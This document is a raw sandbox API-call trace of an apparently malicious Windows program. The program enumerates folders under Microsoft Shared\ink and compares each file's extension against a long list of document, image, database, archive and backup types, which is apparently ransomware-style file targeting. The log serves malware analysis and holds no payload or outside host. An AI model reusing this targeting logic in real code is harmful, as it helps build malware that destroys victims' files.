(lpString1=".pwm", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".pxr") returned 4 [0236.772] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".py") returned 3 [0236.772] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0236.772] lstrlenW (lpString=".qt") returned 3 [0236.772] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0236.772] lstrlenW (lpString=".r3d") returned 4 [0236.772] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".raf") returned 4 [0236.772] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".rar") returned 4 [0236.772] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.773] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0236.773] FindClose (in: hFindFile=0x3af1760 | out: hFindFile=0x3af1760) returned 1 [0236.773] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4289f90 | out: hHeap=0x530000) returned 1 [0236.773] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x37df310 | out: lpFindFileData=0x37df310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0236.773] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x4289f90 [0236.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT") returned 56 [0236.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3af1760 [0236.773] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.773] FindNextFileW (in: hFindFile=0x3af1760, lpFindFileData=0x37df094 | out: lpFindFileData=0x37df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0236.773] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0236.773] lstrlenW (lpString=".1cd") returned 4 [0236.773] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.773] lstrlenW (lpString=".3ds") returned 4 [0236.773] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0236.773] lstrlenW (lpString=".3fr") returned 4 [0236.773] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0236.773] lstrlenW (lpString=".3g2") returned 4 [0236.773] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0236.773] lstrlenW (lpString=".3gp") returned 4 [0236.773] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0236.773] lstrlenW (lpString=".7z") returned 3 [0236.773] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.774] lstrlenW (lpString=".accda") returned 6 [0236.774] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0236.774] lstrlenW (lpString=".accdb") returned 6 [0236.774] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0236.774] lstrlenW (lpString=".accdc") returned 6 [0236.774] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0236.774] lstrlenW (lpString=".accde") returned 6 [0236.774] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0236.774] lstrlenW (lpString=".accdt") returned 6 [0236.774] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0236.774] lstrlenW (lpString=".accdw") returned 6 [0236.774] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0236.774] lstrlenW (lpString=".adb") returned 4 [0236.774] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0236.774] lstrlenW (lpString=".adp") returned 4 [0236.774] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0236.774] lstrlenW (lpString=".ai") returned 3 [0236.774] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0236.774] lstrlenW (lpString=".ai3") returned 4 [0236.774] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0236.774] lstrlenW (lpString=".ai4") returned 4 [0236.774] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0236.774] lstrlenW (lpString=".ai5") returned 4 [0236.774] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0236.774] lstrlenW (lpString=".ai6") returned 4 [0236.774] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0236.774] lstrlenW (lpString=".ai7") returned 4 [0236.774] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0236.774] lstrlenW (lpString=".ai8") returned 4 [0236.774] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0236.774] lstrlenW (lpString=".anim") returned 5 [0236.774] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0236.774] lstrlenW (lpString=".arw") returned 4 [0236.774] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0236.774] lstrlenW (lpString=".as") returned 3 [0236.774] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0236.774] lstrlenW (lpString=".asa") returned 4 [0236.775] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".asc") returned 4 [0236.775] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".ascx") returned 5 [0236.775] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0236.775] lstrlenW (lpString=".asm") returned 4 [0236.775] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".asmx") returned 5 [0236.775] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0236.775] lstrlenW (lpString=".asp") returned 4 [0236.775] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".aspx") returned 5 [0236.775] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0236.775] lstrlenW (lpString=".asr") returned 4 [0236.775] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".asx") returned 4 [0236.775] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".avi") returned 4 [0236.775] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".avs") returned 4 [0236.775] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".backup") returned 7 [0236.775] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0236.775] lstrlenW (lpString=".bak") returned 4 [0236.775] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".bay") returned 4 [0236.775] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".bd") returned 3 [0236.775] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0236.775] lstrlenW (lpString=".bin") returned 4 [0236.775] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".bmp") returned 4 [0236.775] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".bz2") returned 4 [0236.775] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.775] lstrlenW (lpString=".c") returned 2 [0236.776] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0236.776] lstrlenW (lpString=".cdr") returned 4 [0236.776] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".cer") returned 4 [0236.776] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".cf") returned 3 [0236.776] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0236.776] lstrlenW (lpString=".cfc") returned 4 [0236.776] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".cfm") returned 4 [0236.776] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".cfml") returned 5 [0236.776] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0236.776] lstrlenW (lpString=".cfu") returned 4 [0236.776] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".chm") returned 4 [0236.776] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".cin") returned 4 [0236.776] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".class") returned 6 [0236.776] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0236.776] lstrlenW (lpString=".clx") returned 4 [0236.776] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".config") returned 7 [0236.776] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0236.776] lstrlenW (lpString=".cpp") returned 4 [0236.776] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".cr2") returned 4 [0236.776] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".crt") returned 4 [0236.776] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".crw") returned 4 [0236.776] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0236.776] lstrlenW (lpString=".cs") returned 3 [0236.776] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0236.776] lstrlenW (lpString=".css") returned 4 [0236.777] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".csv") returned 4 [0236.777] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".cub") returned 4 [0236.777] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".dae") returned 4 [0236.777] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".dat") returned 4 [0236.777] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".db") returned 3 [0236.777] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0236.777] lstrlenW (lpString=".dbf") returned 4 [0236.777] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".dbx") returned 4 [0236.777] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".dc3") returned 4 [0236.777] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".dcm") returned 4 [0236.777] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".dcr") returned 4 [0236.777] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".der") returned 4 [0236.777] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".dib") returned 4 [0236.777] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".dic") returned 4 [0236.777] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".dif") returned 4 [0236.777] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".divx") returned 5 [0236.777] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0236.777] lstrlenW (lpString=".djvu") returned 5 [0236.777] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0236.777] lstrlenW (lpString=".dng") returned 4 [0236.777] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".doc") returned 4 [0236.777] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.777] lstrlenW (lpString=".docm") returned 5 [0236.778] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0236.778] lstrlenW (lpString=".docx") returned 5 [0236.778] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0236.778] lstrlenW (lpString=".dot") returned 4 [0236.778] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".dotm") returned 5 [0236.778] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0236.778] lstrlenW (lpString=".dotx") returned 5 [0236.778] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0236.778] lstrlenW (lpString=".dpx") returned 4 [0236.778] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".dqy") returned 4 [0236.778] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".dsn") returned 4 [0236.778] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".dt") returned 3 [0236.778] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0236.778] lstrlenW (lpString=".dtd") returned 4 [0236.778] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".dwg") returned 4 [0236.778] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".dwt") returned 4 [0236.778] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".dx") returned 3 [0236.778] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0236.778] lstrlenW (lpString=".dxf") returned 4 [0236.778] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".edml") returned 5 [0236.778] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0236.778] lstrlenW (lpString=".efd") returned 4 [0236.778] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".elf") returned 4 [0236.778] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".emf") returned 4 [0236.778] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0236.778] lstrlenW (lpString=".emz") returned 4 [0236.778] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".epf") returned 4 [0236.779] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".eps") returned 4 [0236.779] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".epsf") returned 5 [0236.779] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0236.779] lstrlenW (lpString=".epsp") returned 5 [0236.779] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0236.779] lstrlenW (lpString=".erf") returned 4 [0236.779] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".exr") returned 4 [0236.779] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".f4v") returned 4 [0236.779] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".fido") returned 5 [0236.779] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0236.779] lstrlenW (lpString=".flm") returned 4 [0236.779] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".flv") returned 4 [0236.779] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".frm") returned 4 [0236.779] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".fxg") returned 4 [0236.779] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".geo") returned 4 [0236.779] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".gif") returned 4 [0236.779] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".grs") returned 4 [0236.779] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0236.779] lstrlenW (lpString=".gz") returned 3 [0236.779] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0236.779] lstrlenW (lpString=".h") returned 2 [0236.780] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0236.780] lstrlenW (lpString=".hdr") returned 4 [0236.780] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".hpp") returned 4 [0236.780] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".hta") returned 4 [0236.780] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".htc") returned 4 [0236.780] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".htm") returned 4 [0236.780] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".html") returned 5 [0236.780] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0236.780] lstrlenW (lpString=".icb") returned 4 [0236.780] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".ics") returned 4 [0236.780] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".iff") returned 4 [0236.780] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".inc") returned 4 [0236.780] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".indd") returned 5 [0236.780] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0236.780] lstrlenW (lpString=".ini") returned 4 [0236.780] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".iqy") returned 4 [0236.780] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".j2c") returned 4 [0236.780] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".j2k") returned 4 [0236.780] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".java") returned 5 [0236.780] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0236.780] lstrlenW (lpString=".jp2") returned 4 [0236.780] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0236.780] lstrlenW (lpString=".jpc") returned 4 [0236.780] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".jpe") returned 4 [0236.781] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".jpeg") returned 5 [0236.781] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0236.781] lstrlenW (lpString=".jpf") returned 4 [0236.781] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".jpg") returned 4 [0236.781] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".jpx") returned 4 [0236.781] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".js") returned 3 [0236.781] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0236.781] lstrlenW (lpString=".jsf") returned 4 [0236.781] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".json") returned 5 [0236.781] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0236.781] lstrlenW (lpString=".jsp") returned 4 [0236.781] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".kdc") returned 4 [0236.781] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".kmz") returned 4 [0236.781] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".kwm") returned 4 [0236.781] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".lasso") returned 6 [0236.781] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0236.781] lstrlenW (lpString=".lbi") returned 4 [0236.781] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".lgf") returned 4 [0236.781] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".lgp") returned 4 [0236.781] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".log") returned 4 [0236.781] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".m1v") returned 4 [0236.781] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0236.781] lstrlenW (lpString=".m4a") returned 4 [0236.781] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".m4v") returned 4 [0236.782] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".max") returned 4 [0236.782] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".md") returned 3 [0236.782] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0236.782] lstrlenW (lpString=".mda") returned 4 [0236.782] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mdb") returned 4 [0236.782] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mde") returned 4 [0236.782] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mdf") returned 4 [0236.782] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mdw") returned 4 [0236.782] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mef") returned 4 [0236.782] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mft") returned 4 [0236.782] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mfw") returned 4 [0236.782] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mht") returned 4 [0236.782] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mhtml") returned 6 [0236.782] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0236.782] lstrlenW (lpString=".mka") returned 4 [0236.782] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mkidx") returned 6 [0236.782] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0236.782] lstrlenW (lpString=".mkv") returned 4 [0236.782] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mos") returned 4 [0236.782] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mov") returned 4 [0236.782] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0236.782] lstrlenW (lpString=".mp3") returned 4 [0236.783] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0236.783] lstrlenW (lpString=".mp4") returned 4 [0236.783] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0236.783] lstrlenW (lpString=".mpeg") returned 5 [0236.783] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0236.783] lstrlenW (lpString=".mpg") returned 4 [0236.783] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0236.783] lstrlenW (lpString=".mpv") returned 4 [0236.783] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0236.783] lstrlenW (lpString=".mrw") returned 4 [0236.783] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0236.783] lstrlenW (lpString=".msg") returned 4 [0236.783] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0236.783] lstrlenW (lpString=".mxl") returned 4 [0236.783] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".myd") returned 4 [0236.783] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".myi") returned 4 [0236.783] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".nef") returned 4 [0236.783] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".nrw") returned 4 [0236.783] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".obj") returned 4 [0236.783] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".odb") returned 4 [0236.783] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".odc") returned 4 [0236.783] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".odm") returned 4 [0236.783] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".odp") returned 4 [0236.783] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".ods") returned 4 [0236.783] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0236.783] lstrlenW (lpString=".oft") returned 4 [0236.784] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".one") returned 4 [0236.784] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".onepkg") returned 7 [0236.784] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0236.784] lstrlenW (lpString=".onetoc2") returned 8 [0236.784] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0236.784] lstrlenW (lpString=".opt") returned 4 [0236.784] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".oqy") returned 4 [0236.784] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".orf") returned 4 [0236.784] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0236.784] lstrlenW (lpString=".p12") returned 4 [0236.784] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 